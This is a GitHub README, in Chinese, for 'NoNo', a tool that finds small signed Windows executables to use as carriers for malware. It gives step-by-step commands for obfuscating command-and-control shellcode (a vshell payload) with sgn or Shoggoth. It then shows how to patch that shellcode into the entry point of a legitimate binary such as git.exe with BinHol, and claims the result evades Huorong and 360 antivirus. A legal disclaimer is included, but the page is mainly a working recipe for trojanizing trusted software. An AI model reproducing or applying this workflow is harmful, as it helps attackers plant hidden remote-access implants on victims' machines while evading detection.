Skip to content
/ NoNo Public

NoNo 是一款 patch 文件查找器。

din4e/NoNo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

NoNo

Warning

本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。

Nono 是一款 patch 文件查找器。

编译

go build -o nono.exe

使用方法

1. 找 patch 文件

找那种小的exe,带签名的,选不依赖特殊dll的exe,尽量找信誉高的文件,最好还能带logo的,不带黑框的。其他参数见-h,工具默认搜索C:/Program Files/

.\nono.exe -h
Usage of C:\Users\din4e\nono.exe:
  -arch string
        架构类型: x86, x64, both (default "x64")
  -detail
        显示详细的导入函数列表
  -dir string
        要扫描的目录路径 (default "C:\\Program Files\\")
  -ext string
        文件扩展名,用逗号分隔 (default "exe")
  -imports
        显示导入表DLL信息 (default true)
  -max int
        最大文件大小 (字节,0表示无限制) (default 61440)
  -min int
        最小文件大小 (字节)
  -signed string
        签名过滤: signed(仅已签名), unsigned(仅未签名), all(全部) (default "signed")
  -workers int
        工作线程数 (default 32)

2. 混淆 shellcode

sgn.exe -a 64 -i tcp_windows_amd64.bin -o sgn_shellcode
# or
Shoggoth.exe -i tcp_windows_amd64.bin -o sgn_vshell

3. 使用 BinHol patch 白文件

  • 方案一:BinHol.exe -sign entrypoint .\git.exe .\sgn_shellcode 白文件直接添加C2的shellcode,例如vshell bin文件。
  • 【推荐】方案二:BinHol.exe -sign entrypoint .\git.exe .\template_1 白文件添加自己写的shellcode;
    • template_1 为s hellcode,可以本地读取命名为 AAAA 的bin文件执行的,实现分离读取
    • template_0 是弹对话框的shellcode,可以用来测试功能
  • 方案三:自己实现远程拉取Shellcode。
# 方案一:
BinHol.exe -sign entrypoint .\git.exe .\sgn_vshell
# 方案二: sgn_vshell -> AAAA
BinHol.exe -sign entrypoint .\git.exe .\template_1

Important

可以过火绒和360,内存不了卡巴斯基,行为和流量还是有问题。 BinHol、Sgn、Shoggoth不放心请自行编译。

参考资料

About

NoNo 是一款 patch 文件查找器。

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages